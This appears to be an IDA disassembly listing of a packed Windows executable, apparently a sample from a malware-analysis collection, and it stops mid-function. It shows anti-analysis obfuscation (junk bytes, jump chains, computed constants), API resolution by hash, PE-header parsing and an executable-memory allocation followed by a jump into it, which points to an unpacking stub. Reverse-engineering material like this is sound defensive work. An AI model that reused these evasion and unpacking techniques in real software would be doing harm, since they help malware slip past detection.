; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : A224CCE2A7207CFC559B9EE38EDC518E ; File Name : u:\work\a224cce2a7207cfc559b9ee38edc518e_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000026FE ( 9982.) ; Section size in file : 00002800 ( 10240.) ; Offset to raw data for section: 00000400 ; Flags 60000020: Text Executable Readable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 4E4B89FAh, 0A2846D15h, 21EF9771h, 0CC6D0B1Dh, 0A71CD98Bh dd 396BAE91h, 4C1942FDh, 0EDD3801h, 0FC57B6AAh, 3ACE747Eh dd 2EEA0B6Fh, 689A6130h, 0A03879D5h, 0F2E0CF2Ah, 0E828DA16h dd 962587Fh, 3B899F32h, 9F52F9B0h, 0F6A4BA6Fh, 3B492262h dd 1AAF0D17h, 0FEA52D31h, 0D03E29F1h, 0CE0B83CEh, 0AE309CFEh dd 5F33DEA8h, 0ED6BC5EAh, 1CA95AF5h, 0CBC9AFDBh, 0C08A6883h dd 0F72770F5h, 0A22D930h, 0AEE2A95Fh, 0A3110ED6h, 555EEFFEh dd 6AF36EDAh, 1B23181Ah, 0B8D8958Bh, 75D33ECh, 9E5A1DC2h dd 0C65D7BB3h, 0FE35C4DAh, 59B3DFE3h, 409EEF34h, 34CA961h dd 3E107E5Bh, 38D9F9CFh, 0A78CF948h, 7F64C19Ah, 5E39E01Dh dd 0FC93EDBEh, 0D0327E35h, 0E2BFE43h, 0DBE6A952h, 0FF239749h dd 8BA6393Ah, 14CCDB10h, 0F177C313h, 0B83F72C2h, 0CCABBC36h dd 0C0D5C6B9h, 21E53043h, 0B8C88BCCh, 137F836Eh, 89A73CB3h dd 0E1602B7Ch, 0C7F8BA38h, 7BFF9D6Ah, 50425C1h, 0D9C163B1h dd 235C7199h, 284FDD4Eh, 95243540h, 6AF58C0Eh, 5997C3F9h dd 0E870DFD3h, 0E5AFB48Bh, 951E491Fh, 0CD307791h, 303C546Ah dd 0D4F840D1h, 0D7F03652h, 6B04D3C8h, 17127F3Bh, 0E5645DA3h dd 24BBB7A8h, 0C76C0E7Ch, 0A7DA5C35h, 180157EFh, 0F3BCDAD2h dd 8BC81F7Bh, 365DA127h, 0AE0EBF4Eh, 0A0ECDC2Dh, 6ACF173Ch dd 6E16CE24h, 87908189h, 5407ACDCh, 5484C44Ch, 0CE55940Eh dd 80AC4EF9h, 3548982h, 0D1EF1DD5h, 0F0233FEDh, 4332CB4Bh dd 5669951Ah, 0FFA7D089h, 645CF136h, 2B90EB84h, 0A0A497DAh dd 663E2A27h db 5, 0A7h ; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] db 0F6h dd 82CD64F7h, 0CEC9D093h db 0EFh, 0FCh, 85h ; =============== S U B R O U T I N E ======================================= start_0 proc far ; CODE XREF: startj var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00401402 SIZE 0000000A BYTES xor eax, eax jmp loc_4011DB ; --------------------------------------------------------------------------- dw 0BDAh db 0E8h, 1, 0A6h ; --------------------------------------------------------------------------- loc_4011DB: ; CODE XREF: start_0+2j call sub_403429 jmp short loc_4011ED ; --------------------------------------------------------------------------- dw 94E7h dd 83323Dh, 2CDF7E39h ; --------------------------------------------------------------------------- cmc loc_4011ED: ; CODE XREF: start_0+11j test eax, eax jnz loc_4011FD retn ; --------------------------------------------------------------------------- jmp loc_4011FD ; --------------------------------------------------------------------------- mov bh, bl loc_4011FD: ; CODE XREF: start_0+20j start_0+27j push ebp push ebx jmp short loc_40120C ; --------------------------------------------------------------------------- db 18h, 71h, 56h dd 0E2ADC4D7h, 2EA93073h ; --------------------------------------------------------------------------- loc_40120C: ; CODE XREF: start_0+30j mov ebx, eax jmp loc_40121F ; --------------------------------------------------------------------------- db 0CFh dd 0EB3A655Ch, 0C706E148h db 0F4h, 1Dh, 92h ; --------------------------------------------------------------------------- loc_40121F: ; CODE XREF: start_0+3Fj call sub_4034CE push eax push ecx mov ecx, 0D9CE287Fh jmp loc_401234 ; --------------------------------------------------------------------------- dd 0D58CBFDEh ; --------------------------------------------------------------------------- loc_401234: ; CODE XREF: start_0+5Cj add ecx, 0F1C50463h jmp loc_401248 ; --------------------------------------------------------------------------- db 0EAh ; --------------------------------------------------------------------------- fstp tbyte ptr [eax+51h] mov dh, 0B7h and al, 8Dh inc edx loc_401248: ; CODE XREF: start_0+6Bj xchg ecx, [esp+10h+var_10] jmp short loc_401257 ; --------------------------------------------------------------------------- push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h ; --------------------------------------------------------------------------- loc_401257: ; CODE XREF: start_0+7Cj push eax jmp loc_40125E ; --------------------------------------------------------------------------- db 0C1h ; --------------------------------------------------------------------------- loc_40125E: ; CODE XREF: start_0+89j call near ptr sub_403516 jmp short loc_401274 ; --------------------------------------------------------------------------- db 66h, 0A7h, 54h dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h ; --------------------------------------------------------------------------- loc_401274: ; CODE XREF: start_0+94j call eax cmp eax, 80000000h jbe loc_401297 pop eax jmp loc_40128E ; --------------------------------------------------------------------------- db 31h dd 6D849716h db 0A2h, 33h ; --------------------------------------------------------------------------- loc_40128E: ; CODE XREF: start_0+B3j pop ebp pop ebx retn ; --------------------------------------------------------------------------- jmp loc_401297 ; --------------------------------------------------------------------------- db 0F0h ; --------------------------------------------------------------------------- loc_401297: ; CODE XREF: start_0+ACj start_0+C2j mov eax, [esp+0Ch+var_C] push 0FFFFFFFFh push eax push 4DD804D4h push eax jmp short loc_4012B1 ; --------------------------------------------------------------------------- db 1Ch, 25h, 0FAh dd 0C6A108ABh, 52DDB487h db 23h ; --------------------------------------------------------------------------- loc_4012B1: ; CODE XREF: start_0+D4j mov eax, 308C4969h jmp short loc_4012C1 ; --------------------------------------------------------------------------- dd 7F9ED920h, 9BAA954Ch db 38h ; --------------------------------------------------------------------------- loc_4012C1: ; CODE XREF: start_0+E7j xor [esp+1Ch+var_18], eax pop eax jmp short loc_4012D0 ; --------------------------------------------------------------------------- dd 0E4777611h, 5013024Dh ; --------------------------------------------------------------------------- loc_4012D0: ; CODE XREF: start_0+F7j push eax call near ptr sub_403516 jmp short loc_4012DA ; --------------------------------------------------------------------------- dec ecx dec esi loc_4012DA: ; CODE XREF: start_0+107j call eax or eax, eax jnz loc_401304 jmp short loc_4012F0 ; --------------------------------------------------------------------------- dw 7C6Fh dd 688B5A05h, 14672681h ; --------------------------------------------------------------------------- loc_4012F0: ; CODE XREF: start_0+115j sub [esp+4+var_4], 1000h jmp loc_401304 ; --------------------------------------------------------------------------- dd 8003B2BDh, 0AC5FFEB9h ; --------------------------------------------------------------------------- loc_401304: ; CODE XREF: start_0+10Fj start_0+128j pop eax push 697A6AFEh jmp loc_401314 ; --------------------------------------------------------------------------- db 75h ; --------------------------------------------------------------------------- or bh, [ebx-68h] icebp loc_401314: ; CODE XREF: start_0+13Bj push eax jmp loc_401323 ; --------------------------------------------------------------------------- setalc push edi inc esp sub eax, 29B0F362h scasb loc_401323: ; CODE XREF: start_0+146j call near ptr sub_403516 jmp loc_401331 ; --------------------------------------------------------------------------- db 4Fh, 0DCh, 0E5h db 0BAh ; --------------------------------------------------------------------------- loc_401331: ; CODE XREF: start_0+159j push 40h push eax mov eax, 71BF326Bh jmp loc_401344 ; --------------------------------------------------------------------------- xchg al, [edi+74h] popf adc ah, bl loc_401344: ; CODE XREF: start_0+16Aj xor eax, 71BF026Bh jmp short loc_401358 ; --------------------------------------------------------------------------- dd 3F5E99E0h, 5B6A550Ch, 3736D1F8h ; --------------------------------------------------------------------------- loc_401358: ; CODE XREF: start_0+17Bj xchg eax, [esp+8+var_8] jmp short loc_401366 ; --------------------------------------------------------------------------- db 0A4h, 0Dh, 0C2h dd 0E0910D3h db 2Fh, 3Ch ; --------------------------------------------------------------------------- loc_401366: ; CODE XREF: start_0+18Cj mov ecx, 7E10h shl ecx, 4 jmp short loc_401378 ; --------------------------------------------------------------------------- dd 284B1AC5h, 0D427E641h ; --------------------------------------------------------------------------- loc_401378: ; CODE XREF: start_0+19Fj push ecx xor ecx, ecx push ecx jmp loc_401382 ; --------------------------------------------------------------------------- db 7Dh ; --------------------------------------------------------------------------- loc_401382: ; CODE XREF: start_0+1ADj call eax jmp short loc_40138E ; --------------------------------------------------------------------------- dw 0C372h dd 1FBE7940h db 6Ch, 35h ; --------------------------------------------------------------------------- loc_40138E: ; CODE XREF: start_0+1B5j push edi jmp loc_40139E ; --------------------------------------------------------------------------- dd 0B1583BCAh, 0ED041796h db 22h, 0B3h ; --------------------------------------------------------------------------- loc_40139E: ; CODE XREF: start_0+1C0j mov edi, eax jmp loc_4013AD ; --------------------------------------------------------------------------- db 70h, 0E9h, 6Eh dd 7AA59C0Fh db 2Bh ; --------------------------------------------------------------------------- loc_4013AD: ; CODE XREF: start_0+1D1j push esi jmp loc_401402 start_0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4013B3 proc near ; CODE XREF: start_0:loc_401402p ; FUNCTION CHUNK AT 004036E8 SIZE 00000017 BYTES pop esi jmp loc_4013BE ; --------------------------------------------------------------------------- db 88h, 21h, 46h db 7, 34h ; --------------------------------------------------------------------------- loc_4013BE: ; CODE XREF: sub_4013B3+1j jmp loc_4036E8 sub_4013B3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp short sub_4013C8 ; --------------------------------------------------------------------------- db 5Dh, 0D2h, 0A3h ; =============== S U B R O U T I N E ======================================= sub_4013C8 proc near ; CODE XREF: .text:004013C3j ; sub_4013B3:loc_4036E8p mov edx, [esp+0] sub edx, esi jmp loc_4013E2 ; --------------------------------------------------------------------------- dw 59A0h dd 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h db 82h, 93h ; --------------------------------------------------------------------------- loc_4013E2: ; CODE XREF: sub_4013C8+5j push edx jmp short loc_4013EA ; --------------------------------------------------------------------------- db 0D0h, 0C9h, 0CEh db 0EFh, 0FCh ; --------------------------------------------------------------------------- loc_4013EA: ; CODE XREF: sub_4013C8+1Bj push esi jmp loc_4013F3 ; --------------------------------------------------------------------------- db 85h, 0DAh, 0Bh ; --------------------------------------------------------------------------- loc_4013F3: ; CODE XREF: sub_4013C8+23j push eax jmp loc_4013FB ; --------------------------------------------------------------------------- db 0E8h, 1 ; --------------------------------------------------------------------------- loc_4013FB: ; CODE XREF: sub_4013C8+2Cj call near ptr sub_402D93 jmp edi sub_4013C8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start_0 loc_401402: ; CODE XREF: start_0+1DFj call sub_4013B3 jmp near ptr sub_40141A ; END OF FUNCTION CHUNK FOR start_0 ; --------------------------------------------------------------------------- dd 3D94E7A6h, 39008332h, 0F52CDF7Eh ; --------------------------------------------------------------------------- mov bh, bl ; =============== S U B R O U T I N E ======================================= sub_40141A proc far ; CODE XREF: start_0+238j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_C = dword ptr 10h push ebx call near ptr sub_40293D jmp loc_401428 ; --------------------------------------------------------------------------- sbb [ecx+56h], dh loc_401428: ; CODE XREF: sub_40141A+6j pop eax jmp loc_401434 ; --------------------------------------------------------------------------- dw 0C4D7h dd 3073E2ADh ; --------------------------------------------------------------------------- loc_401434: ; CODE XREF: sub_40141A+Fj sub eax, esi jmp short loc_401440 ; --------------------------------------------------------------------------- test eax, 655CCF2Eh cmp ch, bl dec eax loc_401440: ; CODE XREF: sub_40141A+1Cj add eax, edi jmp short loc_401445 ; --------------------------------------------------------------------------- db 0E1h ; --------------------------------------------------------------------------- loc_401445: ; CODE XREF: sub_40141A+28j mov ecx, ebx add ecx, [ecx+3Ch] add ecx, 0F8h jmp short loc_401453 ; --------------------------------------------------------------------------- push es loc_401453: ; CODE XREF: sub_40141A+36j add ecx, 28h jmp short loc_401465 ; --------------------------------------------------------------------------- mov esp, 6063921Dh sbb esi, ebx mov edi, 0DBEAD58Ch loc_401465: ; CODE XREF: sub_40141A+3Cj mov ecx, [ecx+0Ch] jmp loc_40147D ; --------------------------------------------------------------------------- js short loc_4014C0 mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- loc_40147D: ; CODE XREF: sub_40141A+4Ej add ecx, ebx mov edx, 47E7h jmp short loc_401490 ; --------------------------------------------------------------------------- dw 0C1A8h dd 0FD54A766h, 0F9C043F2h ; --------------------------------------------------------------------------- loc_401490: ; CODE XREF: sub_40141A+6Aj push edx jmp short loc_4014A2 ; --------------------------------------------------------------------------- db 3Eh dd 4AB5EC9Fh, 1631D8BBh, 0A26D8497h ; --------------------------------------------------------------------------- xor esi, eax loc_4014A2: ; CODE XREF: sub_40141A+77j push eax push edx jmp short loc_4014B4 ; --------------------------------------------------------------------------- imul ebp, esi, 0FA251C8Fh stosd or [ecx-224B783Ah], ah push edx loc_4014B4: ; CODE XREF: sub_40141A+8Aj push ecx jmp loc_4014C6 ; --------------------------------------------------------------------------- dw 2023h dd 4C7F9ED9h ; --------------------------------------------------------------------------- loc_4014C0: ; CODE XREF: sub_40141A+53j xchg eax, ebp stosb wait cmp [ecx], dl ; --------------------------------------------------------------------------- db 76h ; --------------------------------------------------------------------------- loc_4014C6: ; CODE XREF: sub_40141A+9Bj push eax jmp loc_4014CD ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- loc_4014CD: ; CODE XREF: sub_40141A+ADj call near ptr sub_402D93 jmp short loc_4014DF ; --------------------------------------------------------------------------- dd 13024DE4h, 6F4E4950h ; --------------------------------------------------------------------------- jl short loc_4014E3 pop edx loc_4014DF: ; CODE XREF: sub_40141A+B8j pop eax jmp short loc_4014E9 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4014E3: ; CODE XREF: sub_40141A+C2j push 14672681h ; --------------------------------------------------------------------------- db 0BDh ; --------------------------------------------------------------------------- loc_4014E9: ; CODE XREF: sub_40141A+C6j pop edx push eax push edx jmp short loc_4014F2 ; --------------------------------------------------------------------------- dw 3B2h db 80h, 0B9h ; --------------------------------------------------------------------------- loc_4014F2: ; CODE XREF: sub_40141A+D2j add eax, edx mov esi, eax jmp loc_4014FE ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- pop edi lodsb loc_4014FE: ; CODE XREF: sub_40141A+DCj push esi jmp loc_40150D ; --------------------------------------------------------------------------- dd 987B0A75h, 4457D6F1h db 2Dh ; --------------------------------------------------------------------------- loc_40150D: ; CODE XREF: sub_40141A+E5j mov esi, ebx jmp loc_401522 ; --------------------------------------------------------------------------- dd 29B0F362h, 0E5DC4FAEh, 61C86BBAh db 86h, 47h ; --------------------------------------------------------------------------- loc_401522: ; CODE XREF: sub_40141A+F5j add esi, [esi+3Ch] jmp loc_40152D ; --------------------------------------------------------------------------- dw 9D74h db 12h ; --------------------------------------------------------------------------- loc_40152D: ; CODE XREF: sub_40141A+10Bj ; sub_40141A+153j add esi, 0F8h jmp loc_401541 ; --------------------------------------------------------------------------- dd 5E99E0E3h, 6A550C3Fh ; --------------------------------------------------------------------------- pop ebx loc_401541: ; CODE XREF: sub_40141A+119j add esi, 28h jmp loc_401558 ; --------------------------------------------------------------------------- db 0F8h, 0D1h, 36h dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh ; --------------------------------------------------------------------------- loc_401558: ; CODE XREF: sub_40141A+12Aj add esi, 28h mov eax, [esi+0Ch] jmp loc_40156F ; --------------------------------------------------------------------------- db 4Bh dd 27E64128h, 0C3727DD4h ; --------------------------------------------------------------------------- inc eax jns short loc_40152D loc_40156F: ; CODE XREF: sub_40141A+144j pop esi jmp loc_401584 ; --------------------------------------------------------------------------- db 1Fh, 6Ch, 35h dd 0B1583BCAh, 0ED041796h, 0E970B322h ; --------------------------------------------------------------------------- loc_401584: ; CODE XREF: sub_40141A+156j push eax call sub_4034CE push edi mov edi, 0D2A7F380h jmp short loc_401593 ; --------------------------------------------------------------------------- movsd loc_401593: ; CODE XREF: sub_40141A+176j add edi, 8BE8706Eh jmp short loc_4015A4 ; --------------------------------------------------------------------------- db 7Ah dd 4621882Bh, 0D25D3407h ; --------------------------------------------------------------------------- loc_4015A4: ; CODE XREF: sub_40141A+17Fj xchg edi, [esp+0] jmp loc_4015BC ; --------------------------------------------------------------------------- dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h ; --------------------------------------------------------------------------- loc_4015BC: ; CODE XREF: sub_40141A+18Dj push eax jmp short loc_4015C9 ; --------------------------------------------------------------------------- db 93h dd 0EFCEC9D0h, 0BDA85FCh db 0E8h ; --------------------------------------------------------------------------- loc_4015C9: ; CODE XREF: sub_40141A+1A3j call near ptr sub_403516 add eax, 5 call eax jmp loc_4015DF ; --------------------------------------------------------------------------- dd 94E7A601h db 3Dh, 32h, 83h ; --------------------------------------------------------------------------- loc_4015DF: ; CODE XREF: sub_40141A+1B9j push dword ptr [eax] jmp loc_4015F4 ; --------------------------------------------------------------------------- dw 3900h dd 0F52CDF7Eh, 7118FB8Ah, 0ADC4D756h ; --------------------------------------------------------------------------- loc_4015F4: ; CODE XREF: sub_40141A+1C7j movzx edx, byte ptr [esp+0] jmp short loc_4015FF ; --------------------------------------------------------------------------- dw 73E2h db 30h, 0A9h, 2Eh ; --------------------------------------------------------------------------- loc_4015FF: ; CODE XREF: sub_40141A+1DEj pop ecx jmp loc_401610 ; --------------------------------------------------------------------------- db 0CFh, 5Ch, 65h dd 0E148EB3Ah, 1DF4C706h ; --------------------------------------------------------------------------- loc_401610: ; CODE XREF: sub_40141A+1E6j sub eax, edx jmp loc_401620 ; --------------------------------------------------------------------------- db 92h dd 0DE196063h, 0EAD58CBFh ; --------------------------------------------------------------------------- loc_401620: ; CODE XREF: sub_40141A+1F8j push eax mov ecx, [ebx] jmp short loc_40162B ; --------------------------------------------------------------------------- db 0DBh, 78h, 51h db 0B6h, 0B7h, 24h ; --------------------------------------------------------------------------- loc_40162B: ; CODE XREF: sub_40141A+209j mov eax, ecx jmp short loc_40163E ; --------------------------------------------------------------------------- lea eax, [edx+53h] nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw loc_40163E: ; CODE XREF: sub_40141A+213j shr eax, 8 add ecx, eax jmp loc_401652 ; --------------------------------------------------------------------------- dd 43F2FD54h, 9F3EF9C0h db 0ECh, 0B5h ; --------------------------------------------------------------------------- loc_401652: ; CODE XREF: sub_40141A+229j push cs jmp short loc_40165D ; --------------------------------------------------------------------------- db 4Ah, 0BBh, 0D8h dd 84971631h db 6Dh ; --------------------------------------------------------------------------- loc_40165D: ; CODE XREF: sub_40141A+239j mov eax, [esp+4+var_4] jmp short loc_401663 ; --------------------------------------------------------------------------- db 0A2h ; --------------------------------------------------------------------------- loc_401663: ; CODE XREF: sub_40141A+246j add esp, 4 jmp short loc_401670 ; --------------------------------------------------------------------------- xor esi, eax imul ebp, esi, 0FA251C8Fh loc_401670: ; CODE XREF: sub_40141A+24Cj inc eax jmp loc_401677 ; --------------------------------------------------------------------------- stosd loc_401677: ; CODE XREF: sub_40141A+257j add ecx, eax and ecx, 0FFh jmp short loc_401683 ; --------------------------------------------------------------------------- db 8, 0A1h ; --------------------------------------------------------------------------- loc_401683: ; CODE XREF: sub_40141A+265j pop eax jmp short loc_40168D ; --------------------------------------------------------------------------- mov byte ptr [edi+2352DDB4h], 20h loc_40168D: ; CODE XREF: sub_40141A+26Aj add eax, ecx jmp loc_4016A1 ; --------------------------------------------------------------------------- dd 4C7F9ED9h, 389BAA95h, 0E4777611h ; --------------------------------------------------------------------------- dec ebp loc_4016A1: ; CODE XREF: sub_40141A+275j call eax pop eax jmp loc_4016B6 ; --------------------------------------------------------------------------- db 2, 13h, 50h dd 7C6F4E49h, 688B5A05h db 81h, 26h ; --------------------------------------------------------------------------- loc_4016B6: ; CODE XREF: sub_40141A+28Aj mov ecx, 3629h jmp loc_4016C3 ; --------------------------------------------------------------------------- db 67h, 14h, 0BDh ; --------------------------------------------------------------------------- loc_4016C3: ; CODE XREF: sub_40141A+2A1j push ecx add eax, ebx jmp short loc_4016D6 ; --------------------------------------------------------------------------- dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah ; --------------------------------------------------------------------------- setalc push edi loc_4016D6: ; CODE XREF: sub_40141A+2ACj push ecx jmp loc_4016EA ; --------------------------------------------------------------------------- dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh db 0C8h, 61h ; --------------------------------------------------------------------------- loc_4016EA: ; CODE XREF: sub_40141A+2BDj push eax jmp loc_4016F1 ; --------------------------------------------------------------------------- db 86h ; --------------------------------------------------------------------------- loc_4016F1: ; CODE XREF: sub_40141A+2D1j push esi call near ptr sub_402D93 pop ecx jmp short loc_4016FB ; --------------------------------------------------------------------------- inc edi loc_4016FB: ; CODE XREF: sub_40141A+2DEj pop edx mov esi, [esp+0] add ecx, edx push ecx mov ecx, 470AFE62h jmp loc_40170E ; --------------------------------------------------------------------------- db 0E3h, 0E0h ; --------------------------------------------------------------------------- loc_40170E: ; CODE XREF: sub_40141A+2EDj add ecx, 0D07E4874h jmp loc_401720 ; --------------------------------------------------------------------------- cdq pop esi aas or al, 55h push 5Bh loc_401720: ; CODE XREF: sub_40141A+2FAj xchg ecx, [esp+0] push esi mov esi, 4413FAA4h jmp short loc_401732 ; --------------------------------------------------------------------------- aaa movsb or eax, 910D3C2h loc_401732: ; CODE XREF: sub_40141A+30Fj sub esi, 0E8A62F8h jmp short loc_40173B ; --------------------------------------------------------------------------- push cs loc_40173B: ; CODE XREF: sub_40141A+31Ej xchg esi, [esp+4+var_4] push ecx mov ecx, 7C169886h jmp loc_401750 ; --------------------------------------------------------------------------- db 1Ah, 4Bh, 28h dd 0D427E641h ; --------------------------------------------------------------------------- loc_401750: ; CODE XREF: sub_40141A+32Aj xor ecx, 2052202Fh jmp short loc_401767 ; --------------------------------------------------------------------------- jge short loc_4017CC retn ; --------------------------------------------------------------------------- db 40h dd 6C1FBE79h, 583BCA35h ; --------------------------------------------------------------------------- mov cl, 96h pop ss loc_401767: ; CODE XREF: sub_40141A+33Cj xchg ecx, [esp+4+var_4] push eax mov eax, 9E75D996h jmp loc_40177B ; --------------------------------------------------------------------------- db 0B3h, 70h, 0E9h db 6Eh, 0Fh, 9Ch ; --------------------------------------------------------------------------- loc_40177B: ; CODE XREF: sub_40141A+356j xor eax, 0BDC25704h jmp loc_401793 ; --------------------------------------------------------------------------- dw 7AA5h dd 4621882Bh, 0D25D3407h db 0A3h, 0A0h, 59h ; --------------------------------------------------------------------------- loc_401793: ; CODE XREF: sub_40141A+367j xchg eax, [esp+8+var_8] jmp short loc_4017A7 ; --------------------------------------------------------------------------- dd 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h db 82h, 93h, 0D0h ; --------------------------------------------------------------------------- loc_4017A7: ; CODE XREF: sub_40141A+37Cj push ecx jmp loc_4017BA ; --------------------------------------------------------------------------- db 0C9h, 0CEh, 0EFh dd 0BDA85FCh, 0E7A601E8h db 94h, 3Dh ; --------------------------------------------------------------------------- loc_4017BA: ; CODE XREF: sub_40141A+38Ej push esi call sub_402C8E jmp short loc_4017CB ; --------------------------------------------------------------------------- dw 8332h dd 0DF7E3900h db 2Ch, 0F5h, 8Ah ; --------------------------------------------------------------------------- loc_4017CB: ; CODE XREF: sub_40141A+3A6j pop eax loc_4017CC: ; CODE XREF: sub_40141A+33Ej jmp loc_4017DD ; --------------------------------------------------------------------------- db 0FBh, 18h, 71h dd 0ADC4D756h, 0A93073E2h db 2Eh ; --------------------------------------------------------------------------- loc_4017DD: ; CODE XREF: sub_40141A:loc_4017CCj mov esi, eax jmp loc_4017EE ; --------------------------------------------------------------------------- dd 3A655CCFh, 6E148EBh db 0C7h, 0F4h ; --------------------------------------------------------------------------- loc_4017EE: ; CODE XREF: sub_40141A+3C5j push eax jmp short loc_4017FD ; --------------------------------------------------------------------------- db 1Dh, 92h, 63h dd 0BFDE1960h, 0DBEAD58Ch db 78h ; --------------------------------------------------------------------------- loc_4017FD: ; CODE XREF: sub_40141A+3D5j push ebx call sub_402410 jmp loc_40180E ; --------------------------------------------------------------------------- push ecx mov dh, 0B7h and al, 8Dh inc edx loc_40180E: ; CODE XREF: sub_40141A+3E9j add esi, 0F8h jmp short loc_401826 ; --------------------------------------------------------------------------- push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h db 0FDh, 0F2h ; --------------------------------------------------------------------------- loc_401826: ; CODE XREF: sub_40141A+3FAj add esi, 4 push ebx jmp loc_401833 ; --------------------------------------------------------------------------- inc ebx sar cl, 3Eh loc_401833: ; CODE XREF: sub_40141A+410j push esi jmp short loc_401843 ; --------------------------------------------------------------------------- dw 0EC9Fh dd 0D8BB4AB5h, 84971631h db 6Dh, 0A2h, 33h ; --------------------------------------------------------------------------- loc_401843: ; CODE XREF: sub_40141A+41Aj push ebx jmp short loc_40184D ; --------------------------------------------------------------------------- dw 69F0h dd 251C8FEEh ; --------------------------------------------------------------------------- cli loc_40184D: ; CODE XREF: sub_40141A+42Aj call near ptr sub_4019C4 pop ebx jmp short loc_40185B ; --------------------------------------------------------------------------- db 0ABh, 8, 0A1h db 0C6h, 87h, 0B4h ; --------------------------------------------------------------------------- loc_40185B: ; CODE XREF: sub_40141A+439j call sub_4034CE jmp loc_401870 ; --------------------------------------------------------------------------- fst qword ptr [edx+23h] and cl, bl sahf jg short loc_4018B9 xchg eax, ebp stosb wait loc_401870: ; CODE XREF: sub_40141A+446j mov ecx, ebx add ecx, [ecx+3Ch] jmp short loc_40187E ; --------------------------------------------------------------------------- db 38h dd 0E4777611h db 4Dh, 2 ; --------------------------------------------------------------------------- loc_40187E: ; CODE XREF: sub_40141A+45Bj mov ecx, [ecx+80h] push eax jmp short loc_401891 ; --------------------------------------------------------------------------- db 13h dd 6F4E4950h, 8B5A057Ch db 68h ; --------------------------------------------------------------------------- loc_401891: ; CODE XREF: sub_40141A+46Bj push ebx push ecx call near ptr sub_401D74 jmp loc_40189E ; --------------------------------------------------------------------------- db 81h ; --------------------------------------------------------------------------- loc_40189E: ; CODE XREF: sub_40141A+47Ej mov eax, ebx add eax, [eax+3Ch] jmp loc_4018B3 ; --------------------------------------------------------------------------- dd 0BD146726h, 0B98003B2h db 0FEh, 5Fh, 0ACh ; --------------------------------------------------------------------------- loc_4018B3: ; CODE XREF: sub_40141A+489j mov eax, [eax+28h] jmp short loc_4018C1 ; --------------------------------------------------------------------------- db 75h ; --------------------------------------------------------------------------- loc_4018B9: ; CODE XREF: sub_40141A+451j or bh, [ebx-68h] icebp setalc push edi inc esp ; --------------------------------------------------------------------------- db 2Dh ; --------------------------------------------------------------------------- loc_4018C1: ; CODE XREF: sub_40141A+49Cj add eax, ebx jmp loc_4018CB ; --------------------------------------------------------------------------- db 62h, 0F3h, 0B0h ; --------------------------------------------------------------------------- loc_4018CB: ; CODE XREF: sub_40141A+4A9j push eax push eax push ebx jmp loc_4018DA ; --------------------------------------------------------------------------- db 29h dd 0E5DC4FAEh db 0BAh, 6Bh ; --------------------------------------------------------------------------- loc_4018DA: ; CODE XREF: sub_40141A+4B4j call sub_402629 pop eax jmp loc_4018F5 ; --------------------------------------------------------------------------- db 0C8h, 61h, 86h dd 129D7447h, 5E99E0E3h, 6A550C3Fh ; --------------------------------------------------------------------------- pop ebx loc_4018F5: ; CODE XREF: sub_40141A+4C6j mov edx, eax push edx jmp short loc_401908 ; --------------------------------------------------------------------------- clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h loc_401908: ; CODE XREF: sub_40141A+4DEj call sub_4034CE push 3A35705Fh push eax jmp loc_401926 ; --------------------------------------------------------------------------- dd 41284B1Ah, 7DD427E6h, 7940C372h db 0BEh, 1Fh ; --------------------------------------------------------------------------- loc_401926: ; CODE XREF: sub_40141A+4F9j call near ptr sub_403516 pop edx mov ecx, edi jmp short loc_40193E ; --------------------------------------------------------------------------- dd 3BCA356Ch, 1796B158h, 0B322ED04h db 70h, 0E9h ; --------------------------------------------------------------------------- loc_40193E: ; CODE XREF: sub_40141A+514j pop esi pop edi pop ebx jmp short loc_40194E ; --------------------------------------------------------------------------- db 6Eh dd 7AA59C0Fh, 4621882Bh db 7, 34h ; --------------------------------------------------------------------------- loc_40194E: ; CODE XREF: sub_40141A+527j pop ebp push edx mov edx, 1DE745A3h jmp loc_401960 ; --------------------------------------------------------------------------- dw 59A0h dd 15CCFF1Eh ; --------------------------------------------------------------------------- loc_401960: ; CODE XREF: sub_40141A+53Bj add edx, 0E2193A5Dh jmp short loc_40196D ; --------------------------------------------------------------------------- dd 91B81B2Ah db 0F6h ; --------------------------------------------------------------------------- 